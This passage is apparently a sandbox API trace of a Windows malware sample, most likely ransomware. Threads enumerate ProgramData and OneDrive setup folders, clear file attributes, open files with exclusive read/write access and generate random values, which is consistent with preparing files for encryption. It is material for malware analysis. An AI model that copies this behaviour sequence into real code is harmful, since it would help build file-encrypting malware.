	[0082.601] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\SystemData\\*", lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff
	[0082.601] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502dc88) returned 1
	[0082.601] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4780300) returned 1
	[0082.601] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dae9a8) returned 1

Thread:
	id = 1018
	os_tid = 0x1c58

	[0082.602] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x4780300
	[0082.602] wcscpy (in: _Dest=0x4780300, _Source="C:\\ProgramData\\Microsoft\\Windows\\Templates" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Templates") returned="C:\\ProgramData\\Microsoft\\Windows\\Templates"
	[0082.602] wcscat (in: _Dest=0x4780300, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Templates\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Templates\\"
	[0082.602] wcscat (in: _Dest=0x4780300, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Templates\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\Templates\\*"
	[0082.602] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502dc88
	[0082.602] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Templates\\*", lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc25d1ac7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477aee8
	[0085.480] wcscmp (_String1=".", _String2=".") returned 0
	[0085.480] FindNextFileW (in: hFindFile=0x477aee8, lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc25d1ac7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0085.480] wcscmp (_String1="..", _String2=".") returned 1
	[0085.480] wcscmp (_String1="..", _String2="..") returned 0
	[0085.480] FindNextFileW (in: hFindFile=0x477aee8, lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc25d1ac7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0085.480] FindClose (in: hFindFile=0x477aee8 | out: hFindFile=0x477aee8) returned 1
	[0085.480] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502dc88) returned 1
	[0085.480] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4780300) returned 1
	[0085.480] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daf4e8) returned 1

Thread:
	id = 1019
	os_tid = 0x1c5c

	[0082.603] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4e) returned 0x2dabfa8
	[0082.603] wcscpy (in: _Dest=0x2dabfa8, _Source="C:\\ProgramData\\Microsoft\\Windows\\WER" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\WER") returned="C:\\ProgramData\\Microsoft\\Windows\\WER"
	[0082.603] wcscat (in: _Dest=0x2dabfa8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\WER\\") returned="C:\\ProgramData\\Microsoft\\Windows\\WER\\"
	[0082.603] wcscat (in: _Dest=0x2dabfa8, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\WER\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\WER\\*"
	[0082.603] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502def0
	[0082.603] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\WER\\*", lpFindFileData=0x502def0 | out: lpFindFileData=0x502def0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc25d22c5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17ce1766, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477ada8
	[0085.473] wcscmp (_String1=".", _String2=".") returned 0
	[0085.473] FindNextFileW (in: hFindFile=0x477ada8, lpFindFileData=0x502def0 | out: lpFindFileData=0x502def0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc25d22c5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17ce1766, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0085.473] wcscmp (_String1="..", _String2=".") returned 1
	[0085.473] wcscmp (_String1="..", _String2="..") returned 0
	[0085.473] FindNextFileW (in: hFindFile=0x477ada8, lpFindFileData=0x502def0 | out: lpFindFileData=0x502def0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc25d2e0a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17ce1766, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportArchive", cAlternateFileName="REPORT~1")) returned 1
	[0085.473] wcscmp (_String1="ReportArchive", _String2=".") returned 1
	[0085.473] wcscmp (_String1="ReportArchive", _String2="..") returned 1
	[0085.473] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x66) returned 0x47ec9d0
	[0085.473] wcscpy (in: _Dest=0x47ec9d0, _Source="C:\\ProgramData\\Microsoft\\Windows\\WER" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\WER") returned="C:\\ProgramData\\Microsoft\\Windows\\WER"
	[0085.473] wcscat (in: _Dest=0x47ec9d0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\WER\\") returned="C:\\ProgramData\\Microsoft\\Windows\\WER\\"
	[0085.473] wcscat (in: _Dest=0x47ec9d0, _Source="ReportArchive" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportArchive") returned="C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportArchive"

Thread:
	id = 1020
	os_tid = 0x1c60

	[0082.603] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4e) returned 0x2dac000
	[0082.603] wcscpy (in: _Dest=0x2dac000, _Source="C:\\ProgramData\\Microsoft\\Windows\\wfp" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\wfp") returned="C:\\ProgramData\\Microsoft\\Windows\\wfp"
	[0082.603] wcscat (in: _Dest=0x2dac000, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\wfp\\") returned="C:\\ProgramData\\Microsoft\\Windows\\wfp\\"
	[0082.604] wcscat (in: _Dest=0x2dac000, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\wfp\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\wfp\\*"
	[0082.604] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502e158
	[0082.604] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\wfp\\*", lpFindFileData=0x502e158 | out: lpFindFileData=0x502e158*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x8846c94f, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x8846c94f, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a8158
	[0082.604] wcscmp (_String1=".", _String2=".") returned 0
	[0082.604] FindNextFileW (in: hFindFile=0x46a8158, lpFindFileData=0x502e158 | out: lpFindFileData=0x502e158*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x8846c94f, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x8846c94f, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.604] wcscmp (_String1="..", _String2=".") returned 1
	[0082.604] wcscmp (_String1="..", _String2="..") returned 0
	[0082.604] FindNextFileW (in: hFindFile=0x46a8158, lpFindFileData=0x502e158 | out: lpFindFileData=0x502e158*(dwFileAttributes=0x2000, ftCreationTime.dwLowDateTime=0x8846c94f, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8846c94f, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x8b56981, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wfpdiag.etl", cAlternateFileName="")) returned 1
	[0082.604] wcscmp (_String1="wfpdiag.etl", _String2=".") returned 1
	[0082.604] wcscmp (_String1="wfpdiag.etl", _String2="..") returned 1
	[0082.604] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x62) returned 0x47ecb90
	[0082.604] wcscpy (in: _Dest=0x47ecb90, _Source="C:\\ProgramData\\Microsoft\\Windows\\wfp" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\wfp") returned="C:\\ProgramData\\Microsoft\\Windows\\wfp"
	[0082.604] wcscat (in: _Dest=0x47ecb90, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\wfp\\") returned="C:\\ProgramData\\Microsoft\\Windows\\wfp\\"
	[0082.604] wcscat (in: _Dest=0x47ecb90, _Source="wfpdiag.etl" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\wfp\\wfpdiag.etl") returned="C:\\ProgramData\\Microsoft\\Windows\\wfp\\wfpdiag.etl"
	[0090.438] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\wfp\\wfpdiag.etl" (normalized: "c:\\programdata\\microsoft\\windows\\wfp\\wfpdiag.etl")) returned 0x2000
	[0090.439] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\wfp\\wfpdiag.etl", dwFileAttributes=0x20) returned 1
	[0090.439] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\wfp\\wfpdiag.etl" (normalized: "c:\\programdata\\microsoft\\windows\\wfp\\wfpdiag.etl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.439] GetLastError () returned 0x20
	[0090.439] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8) returned 0x2d75dd0
	[0090.439] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0090.439] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d75dd0) returned 1
	[0090.439] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4756868, Size=0x18) returned 0x2d79a40
	[0090.439] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x62) returned 0x47ed220
	[0090.439] wcscpy (in: _Dest=0x47ed220, _Source="C:\\ProgramData\\Microsoft\\Windows\\wfp\\wfpdiag.etl" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\wfp\\wfpdiag.etl") returned="C:\\ProgramData\\Microsoft\\Windows\\wfp\\wfpdiag.etl"
	[0090.439] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\wfp\\wfpdiag.etl", dwFileAttributes=0x2000) returned 1
	[0090.440] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ecb90) returned 1
	[0090.440] FindNextFileW (in: hFindFile=0x46a8158, lpFindFileData=0x502e158 | out: lpFindFileData=0x502e158*(dwFileAttributes=0x2000, ftCreationTime.dwLowDateTime=0x8846c94f, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8846c94f, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x8b56981, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wfpdiag.etl", cAlternateFileName="")) returned 0
	[0090.440] FindClose (in: hFindFile=0x46a8158 | out: hFindFile=0x46a8158) returned 1
	[0090.440] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502e158) returned 1
	[0090.440] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dac000) returned 1
	[0090.440] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dab8c8) returned 1

Thread:
	id = 1021
	os_tid = 0x1c64

	[0082.605] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5c) returned 0x47804a0
	[0082.605] wcscpy (in: _Dest=0x47804a0, _Source="C:\\Users\\All Users\\Microsoft OneDrive\\setup" | out: _Dest="C:\\Users\\All Users\\Microsoft OneDrive\\setup") returned="C:\\Users\\All Users\\Microsoft OneDrive\\setup"
	[0082.605] wcscat (in: _Dest=0x47804a0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft OneDrive\\setup\\") returned="C:\\Users\\All Users\\Microsoft OneDrive\\setup\\"
	[0082.605] wcscat (in: _Dest=0x47804a0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft OneDrive\\setup\\*") returned="C:\\Users\\All Users\\Microsoft OneDrive\\setup\\*"
	[0082.605] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502e3c0
	[0082.605] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft OneDrive\\setup\\*", lpFindFileData=0x502e3c0 | out: lpFindFileData=0x502e3c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ecd6462, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xe877edbb, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xe877edbb, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a8198
	[0082.605] wcscmp (_String1=".", _String2=".") returned 0
	[0082.605] FindNextFileW (in: hFindFile=0x46a8198, lpFindFileData=0x502e3c0 | out: lpFindFileData=0x502e3c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ecd6462, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xe877edbb, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xe877edbb, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.605] wcscmp (_String1="..", _String2=".") returned 1
	[0082.605] wcscmp (_String1="..", _String2="..") returned 0
	[0082.605] FindNextFileW (in: hFindFile=0x46a8198, lpFindFileData=0x502e3c0 | out: lpFindFileData=0x502e3c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe877edbb, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xe877edbb, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xe877edbb, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="refcount.ini", cAlternateFileName="")) returned 1
	[0082.605] wcscmp (_String1="refcount.ini", _String2=".") returned 1
	[0082.605] wcscmp (_String1="refcount.ini", _String2="..") returned 1
	[0082.605] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x72) returned 0x47bd490
	[0082.605] wcscpy (in: _Dest=0x47bd490, _Source="C:\\Users\\All Users\\Microsoft OneDrive\\setup" | out: _Dest="C:\\Users\\All Users\\Microsoft OneDrive\\setup") returned="C:\\Users\\All Users\\Microsoft OneDrive\\setup"
	[0082.605] wcscat (in: _Dest=0x47bd490, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft OneDrive\\setup\\") returned="C:\\Users\\All Users\\Microsoft OneDrive\\setup\\"
	[0082.605] wcscat (in: _Dest=0x47bd490, _Source="refcount.ini" | out: _Dest="C:\\Users\\All Users\\Microsoft OneDrive\\setup\\refcount.ini") returned="C:\\Users\\All Users\\Microsoft OneDrive\\setup\\refcount.ini"
	[0090.435] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft OneDrive\\setup\\refcount.ini" (normalized: "c:\\users\\all users\\microsoft onedrive\\setup\\refcount.ini")) returned 0x2020
	[0090.436] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft OneDrive\\setup\\refcount.ini", dwFileAttributes=0x20) returned 1
	[0090.436] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft OneDrive\\setup\\refcount.ini" (normalized: "c:\\users\\all users\\microsoft onedrive\\setup\\refcount.ini"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1608
	[0090.436] GetFileSizeEx (in: hFile=0x1608, lpFileSize=0x2453f780 | out: lpFileSize=0x2453f780*=0) returned 1
	[0090.436] FlushFileBuffers (hFile=0x1608) returned 1
	[0093.272] CloseHandle (hObject=0x1608) returned 1
	[0093.272] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft OneDrive\\setup\\refcount.ini", dwFileAttributes=0x2020) 

Thread:
	id = 1022
	os_tid = 0x1c68

	[0082.615] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5e) returned 0x4780570
	[0082.615] wcscpy (in: _Dest=0x4780570, _Source="C:\\ProgramData\\Oracle\\Java\\.oracle_jre_usage" | out: _Dest="C:\\ProgramData\\Oracle\\Java\\.oracle_jre_usage") returned="C:\\ProgramData\\Oracle\\Java\\.oracle_jre_usage"
	[0082.615] wcscat (in: _Dest=0x4780570, _Source="\\" | out: _Dest="C:\\ProgramData\\Oracle\\Java\\.oracle_jre_usage\\") returned="C:\\ProgramData\\Oracle\\Java\\.oracle_jre_usage\\"
	[0082.615] wcscat (in: _Dest=0x4780570, _Source="*" | out: _Dest="C:\\ProgramData\\Oracle\\Java\\.oracle_jre_usage\\*") returned="C:\\ProgramData\\Oracle\\Java\\.oracle_jre_usage\\*"
	[0082.615] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502e628
	[0082.615] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\.oracle_jre_usage\\*", lpFindFileData=0x502e628 | out: lpFindFileData=0x502e628*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xad14ee36, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc2d63c47, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xad19b2ee, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a81d8
	[0082.617] wcscmp (_String1=".", _String2=".") returned 0
	[0082.617] FindNextFileW (in: hFindFile=0x46a81d8, lpFindFileData=0x502e628 | out: lpFindFileData=0x502e628*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xad14ee36, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc2d63c47, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xad19b2ee, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.617] wcscmp (_String1="..", _String2=".") returned 1
	[0082.617] wcscmp (_String1="..", _String2="..") returned 0
	[0082.617] FindNextFileW (in: hFindFile=0x46a81d8, lpFindFileData=0x502e628 | out: lpFindFileData=0x502e628*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xad19b2ee, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad19b2ee, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x70ca10d9, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x33, dwReserved0=0x0, dwReserved1=0x0, cFileName="17dfc292991c7c46.timestamp", cAlternateFileName="17DFC2~1.TIM")) returned 1
	[0082.617] wcscmp (_String1="17dfc292991c7c46.timestamp", _String2=".") returned 1
	[0082.617] wcscmp (_String1="17dfc292991c7c46.timestamp", _String2="..") returned 1
	[0082.617] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x90) returned 0x4e315e0
	[0082.617] wcscpy (in: _Dest=0x4e315e0, _Source="C:\\ProgramData\\Oracle\\Java\\.oracle_jre_usage" | out: _Dest="C:\\ProgramData\\Oracle\\Java\\.oracle_jre_usage") returned="C:\\ProgramData\\Oracle\\Java\\.oracle_jre_usage"
	[0082.617] wcscat (in: _Dest=0x4e315e0, _Source="\\" | out: _Dest="C:\\ProgramData\\Oracle\\Java\\.oracle_jre_usage\\") returned="C:\\ProgramData\\Oracle\\Java\\.oracle_jre_usage\\"
	[0082.617] wcscat (in: _Dest=0x4e315e0, _Source="17dfc292991c7c46.timestamp" | out: _Dest="C:\\ProgramData\\Oracle\\Java\\.oracle_jre_usage\\17dfc292991c7c46.timestamp") returned="C:\\ProgramData\\Oracle\\Java\\.oracle_jre_usage\\17dfc292991c7c46.timestamp"
	[0090.418] GetFileAttributesW (lpFileName="C:\\ProgramData\\Oracle\\Java\\.oracle_jre_usage\\17dfc292991c7c46.timestamp" (normalized: "c:\\programdata\\oracle\\java\\.oracle_jre_usage\\17dfc292991c7c46.timestamp")) returned 0x2020
	[0090.418] SetFileAttributesW (lpFileName="C:\\ProgramData\\Oracle\\Java\\.oracle_jre_usage\\17dfc292991c7c46.timestamp", dwFileAttributes=0x20) returned 1
	[0090.418] CreateFileW (lpFileName="C:\\ProgramData\\Oracle\\Java\\.oracle_jre_usage\\17dfc292991c7c46.timestamp" (normalized: "c:\\programdata\\oracle\\java\\.oracle_jre_usage\\17dfc292991c7c46.timestamp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x160c
	[0090.418] GetFileSizeEx (in: hFile=0x160c, lpFileSize=0x245bfc34 | out: lpFileSize=0x245bfc34*=51) returned 1
	[0090.418] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731ee8
	[0090.418] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731d80
	[0090.418] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731e48
	[0090.418] NtQuerySystemTime (in: CurrentTime=0x245bfb94 | out: CurrentTime=0x245bfb94*=132251868171503157) returned 0x0
	[0090.418] RtlRandom (in: Seed=0x245bfba0 | out: Seed=0x245bfba0) returned 0x979930ca
	[0090.418] RtlRandom (in: Seed=0x245bfba0 | out: Seed=0x245bfba0) returned 0x49b024dd
	[0090.418] RtlRandom (in: Seed=0x245bfba0 | out: Seed=0x245bfba0) returned 0x76c130cb
	[0090.418] RtlRandom (in: Seed=0x245bfba0 | out: Seed=0x245bfba0) returned 0xc9c8887d
	[0090.418] RtlRandom (in: Seed=0x245bfba0 | out: Seed=0x245bfba0) returned 0x1e00ff69
	[0090.418] RtlRandom (in: Seed=0x245bfba0 | out: Seed=0x245bfba0) returned 0x994878b7
	[0090.418] RtlRandom (in: Seed=0x245bfba0 | out: Seed=0x245bfba0) returned 0x45553b04
	[0090.419] RtlRandom (in: Seed=0x245bfba0 | out: Seed=0x245bfba0) returned 0x1cb46f47
	[0090.419] RtlRandom (in: Seed=0x245bfba0 | out: Seed=0x245bfba0) returned 0xc784013
	[0090.419] RtlRandom (in: Seed=0x245bfba0 | out: Seed=0x245bfba0) returned 0xeaf7c17a
	[0090.419] RtlRandom (in: Seed=0x245bfba0 | out: Seed=0x245bfba0) returned 0x42db3ab9
	[0090.419] RtlRandom (in: Seed=0x245bfba0 | out: Seed=0x245bfba0) returned 0xcafc8788
	[0090.419] RtlRandom (in: Seed=0x245bfba0 | out: Seed=0x245bfba0) returned 0xb7e43322
	[0090.419] RtlRandom (in: Seed=0x245bfba0 | out: Seed=0x245bfba0) returned 0x2863d69b
	[0090.419] RtlRandom (in: Seed=0x245bfba0 | out: Seed=0x245bfba0) returned 0x6d28952
	[0090.419] RtlRandom (in: Seed=0x245bfba0 | out: Seed=0x245bfba0) returned 0x1cf1b5cb
	[0090.419] RtlRandom (in: Seed=0x245bfba0 | out: Seed=0x245bfba0) returned 0x56bfe097
	[0090.419] RtlRandom (in: Seed=0x245bfba0 | out: Seed=0x245bfba0) returned 0xbd87f9eb
	[0090.419] RtlRandom (in: Seed=0x245bfba0 | out: Seed=0x245bfba0) returned 0xb096c47d
	[0090.419] RtlRandom (in: Seed=0x245bfba0 | out: Seed=0x245bfba0) returned 0x2157923f
	[0090.419] RtlRandom (in: Seed=0x245bfba0 | out: Seed=0x245bfba0) returned 0x1e5c3730
	[0090.419] RtlRandom (in: Seed=0x245bfba0 | out: Seed=0x245bfba0) returned 0x83405573
	[0090.419] RtlRandom (in: Seed=0x245bfba0 | out: Seed=0x245bfba0) returned 0x57aaf75b
	[0090.419] RtlRandom (in: Seed=0x245bfba0 | out: Seed=0x245bfba0) returned 0x2036fd35
	[0090.419] RtlRandom (in: Seed=0x245bfba0 | out: Seed=0x245bfba0) returned 0x4a34054c
	[0090.419] RtlRandom (in: Seed=0x245bfba0 | out: Seed=0x245bfba0) returned 0xe8d87cbf
	[0090.419] RtlRandom (in: Seed=0x245bfba0 | out: Seed=0x245bfba0) returned 0x5d766843
	[0090.419] RtlRandom (in: Seed=0x245bfba0 | out: Seed=0x245bfba0) returned 0x9e9294ad
	[0090.419] RtlRandom (in: Seed=0x245bfba0 | out: Seed=0x245bfba0) returned 0x2bca3024
	[0090.419] RtlRandom (in: Seed=0x245bfba0 | out: Seed=0x245bfba0) returned 0x5924d2c1
	[0090.419] RtlRandom (in: Seed=0x245bfba0 | out: Seed=0x245bfba0) returned 0x162dfc17
	[0090.419] RtlRandom (in: Seed=0x245bfba0 | out: Seed=0x245bfba0) returned 0x4eaeaa55
